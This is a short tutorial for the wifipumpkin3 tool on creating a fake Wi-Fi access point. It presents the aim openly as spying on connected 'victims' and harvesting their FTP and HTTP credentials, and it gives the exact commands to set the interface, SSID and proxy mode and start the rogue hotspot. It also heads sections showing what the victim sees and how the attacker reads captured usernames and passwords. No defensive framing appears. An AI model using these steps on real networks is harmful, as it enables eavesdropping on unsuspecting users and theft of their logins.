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# Creating a fake access point
## Fake AP with noproxy module
What can we do with just a fake access point?
* We can sniff the traffic of the clients that connects, and harvests they're credentials ***(ftp, http, etc).***
* See the URL's that our clients are going so we can spy them.
To create a fake access point with wifipumpkin3, type the following commands shown below.
### Commands to create a fake AP
```bash
set interface wlan0 # set the name of the interface you wnat to use
set ssid hotspot
set proxy noproxy true
ignore pydns_server
start
```
### Victim overview
* Here is what the victim will see once its connected.
### Attacker overview
* Here we can see how we can get the username and password from a user that log's into a website.
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